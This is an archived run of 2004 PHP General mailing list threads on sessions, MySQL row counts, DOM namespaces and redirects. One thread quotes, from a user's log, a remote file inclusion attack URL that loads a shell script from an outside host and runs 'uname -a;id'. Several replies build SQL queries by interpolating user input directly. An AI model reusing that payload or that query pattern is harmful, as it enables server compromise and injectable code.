Am I missing something terribly obvious to one less newbie than me?

TIA, Verdon

-BEGIN PGP SIGNATURE-
Version: GnuPG v1.2.4 (MingW32)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org
iD8DBQFAMAYCaxdA/5C8vH8RAsXOAKCl/DfLLO9tC+4nk4S5a0g1pgSVfwCeIsiG
MOflQLGII4Aojg1qF4hHHn0=
=RYbS
-END PGP SIGNATURE-
--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php


[PHP] Re: File Injection Bug

2004-02-15 Thread André Cerqueira
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1
on index.php, are you including directly the file passed by content?
if you are vulnerable, the autor of your index.php is the one to blame, 
not php hehe
if safe mode is on, you may be immune to this asu.txt, but dont relly on 
it against everything else that can be done



BiŽ?řáÎë?ërĎčĘ wrote:

Hello,

  I found very interesting messages in my access log:

  http://www.cvok.cz/index.php?content=http://linkhacker.info/ilalang23/asu.txt?&cmd=uname%20-a;id;

  It looks as trying of hack. Am I immune, if I have safe mod (because
  asu.txt is php script, which runs function system()).
  thanks

  Radek

-BEGIN PGP SIGNATURE-
Version: GnuPG v1.2.4 (MingW32)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org
iD8DBQFAMAfuaxdA/5C8vH8RAq1hAKDBlEeAf9Rt/pMos6ZAc6UMuYfr4gCeIbko
6wiEccMHlqv/Q0L+nPwUiNM=
=/+FK
-END PGP SIGNATURE-
--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php


[PHP] PHP and Word...

2004-02-15 Thread Russell P Jones
I need to use PHP to pull the first page from a Word Document and then
print it to the screen. It doesnt have to be fancy, so even if just the
text is pulled that would be fine (although formatting would be grand
too).

Anyone got any ideas? I cant use the COM object since Im running this on a
linux machine, and I have limited access to installation of 3rd party
software because I am using shared hosting. Classes would rock, or
anything really.

I was thinking about converting it to text somehow, and then just pulling
the first 50 lines or so - but I dont know how to convert it to text...

What do you all think?

Russ Jones

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



[PHP] $REMOTE_HOST in email subject

2004-02-15 Thread Birkholz, James
Is there something obviously wrong with this code?  

mail([EMAIL PROTECTED],[EMAIL PROTECTED]",'[FLAG] Info edited: '.$theInfo.' by
'.$REMOTE_HOST, 'From: '.$emailAdmin."\r\n");

I'm trying to show the IP of the person who just edited some info, in the
email that I send myself whenever info is edited. Everything works, but the
IP address is empty.

TIA,
James

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



[PHP] PHP5: ext/dom - set namespace of node manually

2004-02-15 Thread Vivian Steller
Hello,
the following code shows my problem:

appendChild($node);
$node->setAttribute("xmlns", "http://www.somedomain.de/";);

print("Namespace: '" . $node->namespaceURI . "'");

$xmlCode = $doc->saveXML();
print("" . htmlspecialchars($xmlCode) . "");
?>

the output would be:
> Namespace: ''
> 
> http://www.somedomain.de/"/>

As you can see it is impossible to set the namespace manually! I tried to
set it with the help of a DomNamespaceNode-object but those objects are no
"real" nodes (why!?!) and the consequence is that you couldn't append such
a node with $node->appendChild($domnamspacenode_object); ...

Further it isn't possible to use the function $doc->createElementNS(...)
because this function returns a domelement-object but i want the element to
be my own MyElement-object.

So how to get a namespace in my node???

thanks in advance,

vivi

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] PHP5: ext/dom - set namespace of node manually

2004-02-15 Thread Adam Bregenzer
On Sun, 2004-02-15 at 19:04, Vivian Steller wrote:
> As you can see it is impossible to set the namespace manually! I tried to
> set it with the help of a DomNamespaceNode-object but those objects are no
> "real" nodes (why!?!) and the consequence is that you couldn't append such
> a node with $node->appendChild($domnamspacenode_object); ...

I am not sure if PHP 5 has many changes from PHP 4, however have you
tried calling set_namespace[1]?
$node->set_namespace('http://www.somedomain.de/');

[1] http://www.php.net/domnode-set-namespace

-- 
Adam Bregenzer
[EMAIL PROTECTED]
http://adam.bregenzer.net/

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



[PHP] PHP Newbie Database Records?

2004-02-15 Thread PETCOL
PHP Newbie,

I'm trying to find out if a username already appears in my database.

I have two users in my table, one is colin so when I enter a username of
colin I would normally under ColdFusion anyway just to something like:

User already exists do something else, like throw the user back an error.


My Query works
 $query_qUsername = "SELECT * FROM users WHERE username = '$username'";

I've tried a number of different things here and everything either comes
back with nothing, or throws an error.
 $num_rows = mysql_num_rows($query_qUsername);
  echo $num_rows; // this comes back with nothing, I was expecting a numeric
of 1
  exit;

Regards
Col

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] $REMOTE_HOST in email subject

2004-02-15 Thread Adam Bregenzer
On Sun, 2004-02-15 at 19:03, Birkholz, James wrote:
> mail([EMAIL PROTECTED],[EMAIL PROTECTED]",'[FLAG] Info edited: '.$theInfo.' by
> '.$REMOTE_HOST, 'From: '.$emailAdmin."\r\n");

Try $_SERVER['REMOTE_HOST']

Also, if apache is not configured with HostnameLookups On this won't be
set.  You can get the IP from: $_SERVER['REMOTE_ADDR']

-- 
Adam Bregenzer
[EMAIL PROTECTED]
http://adam.bregenzer.net/

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



RE: [PHP] $REMOTE_HOST in email subject

2004-02-15 Thread Birkholz, James
You're right, the addr is what I really want, and
_SERVER["REMOTE_ADDR"] works, but when I tried the _SERVER["REMOTE_HOST"],
it is still empty, so my web host must HostnameLookups OFF. Problem solved,
and "thanks" to all!

James


> -Original Message-
> From: [EMAIL PROTECTED]
> [SMTP:[EMAIL PROTECTED]
> Sent: Sunday, February 15, 2004 6:25 PM
> To:   Birkholz, James
> Subject:  Re: [PHP] $REMOTE_HOST in email subject
> 
> the environment variable "REMOTE_HOST" is the hostname, not the 
> IPnumber "REMOTE_ADDR" is the IPnumber.
> 
> separately, your problem may be that with current versions of PHP 
> that syntax is no longer supported (for security reasons).  the 
> correct syntax is:
> 
>_SERVER["REMOTE_ADDR"]
> 

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] php as cgi with static libraries?

2004-02-15 Thread Adam Bregenzer
On Sun, 2004-02-15 at 17:19, Marten Lehmann wrote:
> when I'm building php as a cgi-module, a 'ldd php' shows a list of some 
> libraries, that are linked in dynamically. How can I link some of them 
> statically into the php-binary? I can't rely of external libs in some cases.

You will need to build php yourself, take a look at configure --help:

$ ./configure --help | grep static
  --enable-static[=PKGS]  build static libraries [default=yes]

-- 
Adam Bregenzer
[EMAIL PROTECTED]
http://adam.bregenzer.net/

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] PHP Newbie Database Records?

2004-02-15 Thread Ryan A
Hi,
Do a select query with a COUNT() in it
if you dont understand that read the php manual for accessing the database
and lookup the mysql COUNT

-Ryan


On 2/16/2004 1:35:42 AM, PETCOL ([EMAIL PROTECTED]) wrote:
> PHP Newbie,
>
> I'm trying to find out if a username already appears in my database.
>
> I have two users in my table, one is colin so when I enter a username of
> colin I would normally under ColdFusion anyway just to something like:
> 
> User already exists do something else, like throw the user back an error.
> 
>
> My Query works
> $query_qUsername = "SELECT * FROM users WHERE username = '$username'";
>
> I've
> tried a number of different things here and everything either comes
> back with nothing, or throws an error.
> $num_rows = mysql_num_rows($query_qUsername);
> echo $num_rows; // this comes back with nothing, I was expecting a
> numeric
> of 1
> exit;
>
> Regards
> Col
>
> --
> PHP General Mailing List (http://www.php.net/)
> To unsubscribe, visit: http://www.php.net/unsub.php

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] PHP and Word...

2004-02-15 Thread Adam Bregenzer
On Sun, 2004-02-15 at 18:28, Russell P Jones wrote:
> I need to use PHP to pull the first page from a Word Document and then
> print it to the screen. It doesnt have to be fancy, so even if just the
> text is pulled that would be fine (although formatting would be grand
> too).

[snip]

> I was thinking about converting it to text somehow, and then just pulling
> the first 50 lines or so - but I dont know how to convert it to text...

Here is a snippet of sample code I have that uses wvWare[1] to display a
Word doc.  You should be able to pass it through shell_exec[2].  It is
not perfect but does a decent job of keeping formatting.

passthru(WV_HTML_PATH . ' "' . FILES_HOME_DIR . $file . '" -');

[1] http://wvware.sourceforge.net/
[2] http://us4.php.net/shell_exec

-- 
Adam Bregenzer
[EMAIL PROTECTED]
http://adam.bregenzer.net/

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



[PHP] PHP Kerberos examples/tutorials

2004-02-15 Thread Pablo Gosse
Hi folks.  I'm wondering if anyone out there can point me in the
direction of a good tutorial/article on how to implement authentication
using Kerberos in a PHP application running on Apache 2.0.

I've googled and searched the lists but I can't find any tutorials or
articles which fully explain this.

Does anyone have any suggestions?

Cheers and TIA,

Pablo

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



[PHP] Re: PHP Newbie Database Records?

2004-02-15 Thread David Robley
In article <[EMAIL PROTECTED]>, 
[EMAIL PROTECTED] says...
> PHP Newbie,
> 
> I'm trying to find out if a username already appears in my database.
> 
> I have two users in my table, one is colin so when I enter a username of
> colin I would normally under ColdFusion anyway just to something like:
> 
> User already exists do something else, like throw the user back an error.
> 
> 
> My Query works
>  $query_qUsername = "SELECT * FROM users WHERE username = '$username'";
> 
> I've tried a number of different things here and everything either comes
> back with nothing, or throws an error.
>  $num_rows = mysql_num_rows($query_qUsername);
>   echo $num_rows; // this comes back with nothing, I was expecting a numeric
> of 1
>   exit;
> 
> Regards
> Col
> 

First, consider echo $query_qUsername to ensure that it contains what you 
think it does. Second, consider using mysql_error() after your call to the 
database to show the text of any error returned by mysql.


-- 
Quod subigo farinam

A: Because it messes up the order in which people normally read text.
Q: Why is top-posting such a bad thing?
A: Top-posting.
Q: What is the most annoying thing on usenet?

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



[PHP] Re: PHP Newbie Database Records?

2004-02-15 Thread André Cerqueira
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1
I believe you forgot to read the manual.

> $query_qUsername = "SELECT * FROM users WHERE username = '$username'";
> $num_rows = mysql_num_rows($query_qUsername);
$query_qUsername is a String

mysql_num_rows want a result resource as argument
You have no result till you do mysql_query
Read these please:
http://www.php.net/mysql
http://www.php.net/mysql_query


Petcol wrote:
PHP Newbie,

I'm trying to find out if a username already appears in my database.

I have two users in my table, one is colin so when I enter a username of
colin I would normally under ColdFusion anyway just to something like:

User already exists do something else, like throw the user back an error.

My Query works
 $query_qUsername = "SELECT * FROM users WHERE username = '$username'";
I've tried a number of different things here and everything either comes
back with nothing, or throws an error.
 $num_rows = mysql_num_rows($query_qUsername);
  echo $num_rows; // this comes back with nothing, I was expecting a numeric
of 1
  exit;
Regards
Col
-BEGIN PGP SIGNATURE-
Version: GnuPG v1.2.4 (MingW32)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org
iD8DBQFAMDlSaxdA/5C8vH8RAv8qAJ0XeA+wmVsDIhxBPusnqfFl5Y+7sgCdHotu
xuIp7e5y/0NJle1QG8Gh4aQ=
=nqt3
-END PGP SIGNATURE-
--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php


[PHP] Re: PHP Newbie Database Records?

2004-02-15 Thread PETCOL
Andre,

Thank you, I had read the manual, understanding it fully when you've been
coding in another language is another matter.

I had relied on DreamweaverMX to create the Database connection which meant
I didn't really understand how it was returning the results.

I was able to output the results by altering the code DreamweaverMX had
created.

Thanks, now using the database query method you showed, I've been able to
get the number of rows returned.

However, whenever I change the username I still get a row count of 1 ?


echo $username
returns the username entered into the field before the submit button is hit.
$num_rows;
always returns one numeric 1 even though there is no username like $username
in the database ??

Have I missed something?

Col

"André cerqueira" <[EMAIL PROTECTED]> wrote in message
news:[EMAIL PROTECTED]
> -BEGIN PGP SIGNED MESSAGE-
> Hash: SHA1
>
> I believe you forgot to read the manual.
>
>
>  > $query_qUsername = "SELECT * FROM users WHERE username = '$username'";
>  > $num_rows = mysql_num_rows($query_qUsername);
>
>
> $query_qUsername is a String
>
> mysql_num_rows want a result resource as argument
> You have no result till you do mysql_query
>
>
> Read these please:
> http://www.php.net/mysql
> http://www.php.net/mysql_query
>
>
>
> Petcol wrote:
> > PHP Newbie,
> >
> > I'm trying to find out if a username already appears in my database.
> >
> > I have two users in my table, one is colin so when I enter a username of
> > colin I would normally under ColdFusion anyway just to something like:
> > 
> > User already exists do something else, like throw the user back an
error.
> > 
> >
> > My Query works
> >  $query_qUsername = "SELECT * FROM users WHERE username = '$username'";
> >
> > I've tried a number of different things here and everything either comes
> > back with nothing, or throws an error.
> >  $num_rows = mysql_num_rows($query_qUsername);
> >   echo $num_rows; // this comes back with nothing, I was expecting a
numeric
> > of 1
> >   exit;
> >
> > Regards
> > Col
> -BEGIN PGP SIGNATURE-
> Version: GnuPG v1.2.4 (MingW32)
> Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org
>
> iD8DBQFAMDlSaxdA/5C8vH8RAv8qAJ0XeA+wmVsDIhxBPusnqfFl5Y+7sgCdHotu
> xuIp7e5y/0NJle1QG8Gh4aQ=
> =nqt3
> -END PGP SIGNATURE-

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



[PHP] PHP REDIRECT

2004-02-15 Thread ajay
hi!

i'd like to redirect a person to another page but after a certain time interval
has elapsed. this is because i have a generic error displaying page and i would
like the person to go to this page, stay there for like 10 seconds and then be
redirected to the index page.

i was using header("url") to redirect the user.
but how do i get that to happen after a certain time interval.

thanks

regards

-- 
ajay
---
Who Dares Wins

-
This mail sent through IMP: www-mail.usyd.edu.au

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



[PHP] error : session_start

2004-02-15 Thread ajay
hi!

i have a login page that after validating the login and passwords does something
like
// initiate a session
session_start();

// register some session variables
session_register("SESSION");

// including the username
session_register("SESSION_UNAME");
$SESSION_UNAME = $login;

// redirect to protected page
header("Location:manager.php");

when i try to run this at home with my apache 1.3.27 i get the following errors:

Warning: session_start() [function.session-start]:
open(/tmp\sess_d6abb1b84993ac7bca6eb7eb8f06481d, O_RDWR) failed: No such file or
directory (2) in c:\program files\apache
group\apache\htdocs\usydbasketball\login.php on line 16

Warning: session_start() [function.session-start]: Cannot send session cookie -
headers already sent by (output started at c:\program files\apache
group\apache\htdocs\usydbasketball\login.php:16) in c:\program files\apache
group\apache\htdocs\usydbasketball\login.php on line 16

Warning: session_start() [function.session-start]: Cannot send session cache
limiter - headers already sent (output started at c:\program files\apache
group\apache\htdocs\usydbasketball\login.php:16) in c:\program files\apache
group\apache\htdocs\usydbasketball\login.php on line 16

Warning: Cannot modify header information - headers already sent by (output
started at c:\program files\apache
group\apache\htdocs\usydbasketball\login.php:16) in c:\program files\apache
group\apache\htdocs\usydbasketball\login.php on line 26

Warning: Unknown(): Your script possibly relies on a session side-effect which
existed until PHP 4.2.3. Please be advised that the session extension does not
consider global variables as a source of data, unless register_globals is
enabled. You can disable this functionality and this warning by setting
session.bug_compat_42 or session.bug_compat_warn to off, respectively. in
Unknown on line 0

Warning: Unknown(): open(/tmp\sess_d6abb1b84993ac7bca6eb7eb8f06481d, O_RDWR)
failed: No such file or directory (2) in Unknown on line 0

Warning: Unknown(): Failed to write session data (files). Please verify that the
current setting of session.save_path is correct (/tmp) in Unknown on line 0


can someone please help

thanks

regards

-- 
ajay
---
Who Dares Wins

-
This mail sent through IMP: www-mail.usyd.edu.au

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] PHP REDIRECT

2004-02-15 Thread Binay
use sleep(no of seconds)..

Cheers
Binay
- Original Message -
From: "ajay" <[EMAIL PROTECTED]>
To: <[EMAIL PROTECTED]>
Sent: Monday, February 16, 2004 9:54 AM
Subject: [PHP] PHP REDIRECT


> hi!
>
> i'd like to redirect a person to another page but after a certain time
interval
> has elapsed. this is because i have a generic error displaying page and i
would
> like the person to go to this page, stay there for like 10 seconds and
then be
> redirected to the index page.
>
> i was using header("url") to redirect the user.
> but how do i get that to happen after a certain time interval.
>
> thanks
>
> regards
>
> --
> ajay
> ---
> Who Dares Wins
>
> -
> This mail sent through IMP: www-mail.usyd.edu.au
>
> --
> PHP General Mailing List (http://www.php.net/)
> To unsubscribe, visit: http://www.php.net/unsub.php

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] error : session_start

2004-02-15 Thread Binay
set the session.save_path directive in php.ini file..
By default this is set to /tmp but as u working on win mchine please create
a session directory and specify the corresponding path to aforesaid
directive.

Cheers
Binay
- Original Message -
From: "ajay" <[EMAIL PROTECTED]>
To: <[EMAIL PROTECTED]>
Sent: Monday, February 16, 2004 9:57 AM
Subject: [PHP] error : session_start


> hi!
>
> i have a login page that after validating the login and passwords does
something
> like
> // initiate a session
> session_start();
>
> // register some session variables
> session_register("SESSION");
>
> // including the username
> session_register("SESSION_UNAME");
> $SESSION_UNAME = $login;
>
> // redirect to protected page
> header("Location:manager.php");
>
> when i try to run this at home with my apache 1.3.27 i get the following
errors:
>
> Warning: session_start() [function.session-start]:
> open(/tmp\sess_d6abb1b84993ac7bca6eb7eb8f06481d, O_RDWR) failed: No such
file or
> directory (2) in c:\program files\apache
> group\apache\htdocs\usydbasketball\login.php on line 16
>
> Warning: session_start() [function.session-start]: Cannot send session
cookie -
> headers already sent by (output started at c:\program files\apache
> group\apache\htdocs\usydbasketball\login.php:16) in c:\program
files\apache
> group\apache\htdocs\usydbasketball\login.php on line 16
>
> Warning: session_start() [function.session-start]: Cannot send session
cache
> limiter - headers already sent (output started at c:\program files\apache
> group\apache\htdocs\usydbasketball\login.php:16) in c:\program
files\apache
> group\apache\htdocs\usydbasketball\login.php on line 16
>
> Warning: Cannot modify header information - headers already sent by
(output
> started at c:\program files\apache
> group\apache\htdocs\usydbasketball\login.php:16) in c:\program
files\apache
> group\apache\htdocs\usydbasketball\login.php on line 26
>
> Warning: Unknown(): Your script possibly relies on a session side-effect
which
> existed until PHP 4.2.3. Please be advised that the session extension does
not
> consider global variables as a source of data, unless register_globals is
> enabled. You can disable this functionality and this warning by setting
> session.bug_compat_42 or session.bug_compat_warn to off, respectively. in
> Unknown on line 0
>
> Warning: Unknown(): open(/tmp\sess_d6abb1b84993ac7bca6eb7eb8f06481d,
O_RDWR)
> failed: No such file or directory (2) in Unknown on line 0
>
> Warning: Unknown(): Failed to write session data (files). Please verify
that the
> current setting of session.save_path is correct (/tmp) in Unknown on line
0
>
>
> can someone please help
>
> thanks
>
> regards
>
> --
> ajay
> ---
> Who Dares Wins
>
> -
> This mail sent through IMP: www-mail.usyd.edu.au
>
> --
> PHP General Mailing List (http://www.php.net/)
> To unsubscribe, visit: http://www.php.net/unsub.php

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] error : session_start

2004-02-15 Thread Tom Rogers
Hi,

Monday, February 16, 2004, 2:27:21 PM, you wrote:
a> hi!

a> i have a login page that after validating the login and passwords does something
a> like
a> // initiate a session
a>  session_start();

a>  // register some session variables
a>  session_register("SESSION");

a>  // including the username
a>  session_register("SESSION_UNAME");
a>  $SESSION_UNAME = $login;

a>  // redirect to protected page
a>  header("Location:manager.php");

a> when i try to run this at home with my apache 1.3.27 i get the following errors:

a> Warning: session_start() [function.session-start]:
a> open(/tmp\sess_d6abb1b84993ac7bca6eb7eb8f06481d, O_RDWR) failed: No such file or
a> directory (2) in c:\program files\apache
a> group\apache\htdocs\usydbasketball\login.php on line 16

a> Warning: session_start() [function.session-start]: Cannot send session cookie -
a> headers already sent by (output started at c:\program files\apache
a> group\apache\htdocs\usydbasketball\login.php:16) in c:\program files\apache
a> group\apache\htdocs\usydbasketball\login.php on line 16

a> Warning: session_start() [function.session-start]: Cannot send session cache
a> limiter - headers already sent (output started at c:\program files\apache
a> group\apache\htdocs\usydbasketball\login.php:16) in c:\program files\apache
a> group\apache\htdocs\usydbasketball\login.php on line 16

a> Warning: Cannot modify header information - headers already sent by (output
a> started at c:\program files\apache
a> group\apache\htdocs\usydbasketball\login.php:16) in c:\program files\apache
a> group\apache\htdocs\usydbasketball\login.php on line 26

a> Warning: Unknown(): Your script possibly relies on a session side-effect which
a> existed until PHP 4.2.3. Please be advised that the session extension does not
a> consider global variables as a source of data, unless register_globals is
a> enabled. You can disable this functionality and this warning by setting
a> session.bug_compat_42 or session.bug_compat_warn to off, respectively. in
a> Unknown on line 0

a> Warning: Unknown():
a> open(/tmp\sess_d6abb1b84993ac7bca6eb7eb8f06481d, O_RDWR)
a> failed: No such file or directory (2) in Unknown on line 0

a> Warning: Unknown(): Failed to write session data (files). Please verify that the
a> current setting of session.save_path is correct (/tmp) in Unknown on line 0


a> can someone please help

a> thanks

a> regards

a> -- 
a> ajay
a> ---
a> Who Dares Wins

a> -
a> This mail sent through IMP: www-mail.usyd.edu.au


make a directory on your C drive called Temp than set the php.ini
setting as

session.save_path = "C:\Temp"/tmp

-- 
regards,
Tom

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



[PHP] Re: PHP Newbie Database Records?

2004-02-15 Thread André Cerqueira
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1
i think the query: "SELECT count(uid) FROM users WHERE
username='$username'", will give a one row result, that row will have
one field, and that field is the number of rows that match the where
clause (you are using count(uid))
if there is no match, the result will be a row, with a field, with 0 as
value
mysql_num_rows return the number of rows of the given result

you can do this:
$result = mysql_query("SELECT count(uid) FROM users WHERE username = '$username'")
> or die("Invalid query: " . mysql_error());
$num_rows = mysql_result($result, 0, 0);
or this:
$result = mysql_query("SELECT uid FROM users WHERE username = '$username'")
> or die("Invalid query: " . mysql_error());
$num_rows = mysql_num_rows($result);
i think the first one is better

Petcol wrote:
Andre,

Thank you, I had read the manual, understanding it fully when you've
 been coding in another language is another matter.
I had relied on DreamweaverMX to create the Database connection which



meant
I didn't really understand how it was returning the results.

I was able to output the results by altering the code DreamweaverMX 
had created.

Thanks, now using the database query method you showed, I've been 
able to get the number of rows returned.

However, whenever I change the username I still get a row count of 1
 ? 

$result = mysql_query("SELECT count(uid) FROM users WHERE username = 
'$username'") or die("Invalid query: " . mysql_error()); $num_rows = 
mysql_num_rows($result); echo $username ."  \n". $num_rows;
} ?>

echo $username returns the username entered into the field before the
 submit button
is hit.
$num_rows; always returns one numeric 1 even though there is no 
username like
$username
in the database ??

Have I missed something?

Col

"André cerqueira" <[EMAIL PROTECTED]> wrote in message 
news:[EMAIL PROTECTED]

I believe you forgot to read the manual.


$query_qUsername = "SELECT * FROM users WHERE username = 
'$username'"; $num_rows = mysql_num_rows($query_qUsername);


$query_qUsername is a String

mysql_num_rows want a result resource as argument You have no result
 till you do mysql_query
Read these please: http://www.php.net/mysql 
http://www.php.net/mysql_query



Petcol wrote:

PHP Newbie,

I'm trying to find out if a username already appears in my 
database.

I have two users in my table, one is colin so when I enter a 
username of colin I would normally under ColdFusion anyway just to
 something like:  User 
already exists do something else, like throw the user back an

error.



My Query works $query_qUsername = "SELECT * FROM users WHERE 
username = '$username'";

I've tried a number of different things here and everything either
 comes back with nothing, or throws an error. $num_rows = 
mysql_num_rows($query_qUsername); echo $num_rows; // this comes 
back with nothing, I was expecting a

numeric

of 1 exit;

Regards Col

-BEGIN PGP SIGNATURE-
Version: GnuPG v1.2.4 (MingW32)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org
iD8DBQFAMFIhaxdA/5C8vH8RAocmAKCiJsq+ZjfwKT8+Nh/AbNQ9vB5ZOwCeKCRd
hKO0x1rckabl8/++P995sCE=
=2epc
-END PGP SIGNATURE-
--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php


[PHP] Re:[SOLVED] PHP Newbie Database Records?

2004-02-15 Thread PETCOL
André,

Thank you for your patience, solution one works fine.

Regards
Col
"André cerqueira" <[EMAIL PROTECTED]> wrote in message
news:[EMAIL PROTECTED]
> -BEGIN PGP SIGNED MESSAGE-
> Hash: SHA1
>
> i think the query: "SELECT count(uid) FROM users WHERE
> username='$username'", will give a one row result, that row will have
> one field, and that field is the number of rows that match the where
> clause (you are using count(uid))
> if there is no match, the result will be a row, with a field, with 0 as
> value
>
> mysql_num_rows return the number of rows of the given result
>
> you can do this:
> > $result = mysql_query("SELECT count(uid) FROM users WHERE username =
'$username'")
>  > or die("Invalid query: " . mysql_error());
> > $num_rows = mysql_result($result, 0, 0);
>
> or this:
> > $result = mysql_query("SELECT uid FROM users WHERE username =
'$username'")
>  > or die("Invalid query: " . mysql_error());
> > $num_rows = mysql_num_rows($result);
>
> i think the first one is better
>
>
> Petcol wrote:
> > Andre,
> >
> > Thank you, I had read the manual, understanding it fully when you've
> >  been coding in another language is another matter.
> >
> > I had relied on DreamweaverMX to create the Database connection which
> >
> >
> >
> meant
> > I didn't really understand how it was returning the results.
> >
> > I was able to output the results by altering the code DreamweaverMX
> > had created.
> >
> > Thanks, now using the database query method you showed, I've been
> > able to get the number of rows returned.
> >
> > However, whenever I change the username I still get a row count of 1
> >  ?  > $_POST["USERNAME"];
> >
> > $result = mysql_query("SELECT count(uid) FROM users WHERE username =
> > '$username'") or die("Invalid query: " . mysql_error()); $num_rows =
> > mysql_num_rows($result); echo $username ."  \n". $num_rows;
> > } ?>
> >
> > echo $username returns the username entered into the field before the
> >  submit button
> is hit.
> > $num_rows; always returns one numeric 1 even though there is no
> > username like
> $username
> > in the database ??
> >
> > Have I missed something?
> >
> > Col
> >
> > "André cerqueira" <[EMAIL PROTECTED]> wrote in message
> > news:[EMAIL PROTECTED]
> >
> > I believe you forgot to read the manual.
> >
> >
> >> $query_qUsername = "SELECT * FROM users WHERE username =
> >> '$username'"; $num_rows = mysql_num_rows($query_qUsername);
> >
> >
> > $query_qUsername is a String
> >
> > mysql_num_rows want a result resource as argument You have no result
> >  till you do mysql_query
> >
> >
> > Read these please: http://www.php.net/mysql
> > http://www.php.net/mysql_query
> >
> >
> >
> > Petcol wrote:
> >
> >> PHP Newbie,
> >
> >> I'm trying to find out if a username already appears in my
> >> database.
> >
> >> I have two users in my table, one is colin so when I enter a
> >> username of colin I would normally under ColdFusion anyway just to
> >>  something like:  User
> >> already exists do something else, like throw the user back an
> >
> >> error.
> >
> >> 
> >
> >> My Query works $query_qUsername = "SELECT * FROM users WHERE
> >> username = '$username'";
> >
> >> I've tried a number of different things here and everything either
> >>  comes back with nothing, or throws an error. $num_rows =
> >> mysql_num_rows($query_qUsername); echo $num_rows; // this comes
> >> back with nothing, I was expecting a
> >
> >> numeric
> >
> >> of 1 exit;
> >
> >> Regards Col
> >
> -BEGIN PGP SIGNATURE-
> Version: GnuPG v1.2.4 (MingW32)
> Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org
>
> iD8DBQFAMFIhaxdA/5C8vH8RAocmAKCiJsq+ZjfwKT8+Nh/AbNQ9vB5ZOwCeKCRd
> hKO0x1rckabl8/++P995sCE=
> =2epc
> -END PGP SIGNATURE-

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



RE: [PHP] PHP REDIRECT

2004-02-15 Thread Chris
You can't view the page and have PHP redirect it. You would need to use a
 refresh tag or JavaScript.

Chris

> -Original Message-
> From: ajay [mailto:[EMAIL PROTECTED]
> Sent: Sunday, February 15, 2004 8:25 PM
> To: [EMAIL PROTECTED]
> Subject: [PHP] PHP REDIRECT
>
>
> hi!
>
> i'd like to redirect a person to another page but after a certain
> time interval
> has elapsed. this is because i have a generic error displaying
> page and i would
> like the person to go to this page, stay there for like 10
> seconds and then be
> redirected to the index page.
>
> i was using header("url") to redirect the user.
> but how do i get that to happen after a certain time interval.
>
> thanks
>
> regards
>
> --
> ajay
> ---
> Who Dares Wins
>
> -
> This mail sent through IMP: www-mail.usyd.edu.au
>
> --
> PHP General Mailing List (http://www.php.net/)
> To unsubscribe, visit: http://www.php.net/unsub.php

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] PHP Newbie Database Records?

2004-02-15 Thread John Nichel
PETCOL wrote:
PHP Newbie,

I'm trying to find out if a username already appears in my database.

I have two users in my table, one is colin so when I enter a username of
colin I would normally under ColdFusion anyway just to something like:

User already exists do something else, like throw the user back an error.

My Query works
 $query_qUsername = "SELECT * FROM users WHERE username = '$username'";
I've tried a number of different things here and everything either comes
back with nothing, or throws an error.
 $num_rows = mysql_num_rows($query_qUsername);
mysql_num_rows() takes a result set from a executed query...

$result = mysql_query ( $query_qUsername );
$num_rows = mysql_num_rows ( $result );
It's all here...

http://us2.php.net/mysql_num_rows

  echo $num_rows; // this comes back with nothing, I was expecting a numeric
of 1
  exit;
Regards
Col


--
By-Tor.com
It's all about the Rush
http://www.by-tor.com
--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php


Re: [PHP] PHP REDIRECT

2004-02-15 Thread John Nichel
ajay wrote:
hi!

i'd like to redirect a person to another page but after a certain time interval
has elapsed. this is because i have a generic error displaying page and i would
like the person to go to this page, stay there for like 10 seconds and then be
redirected to the index page.
i was using header("url") to redirect the user.
but how do i get that to happen after a certain time interval.
thanks

regards

You can sleep() the script, but no output will be sent to the browser. 
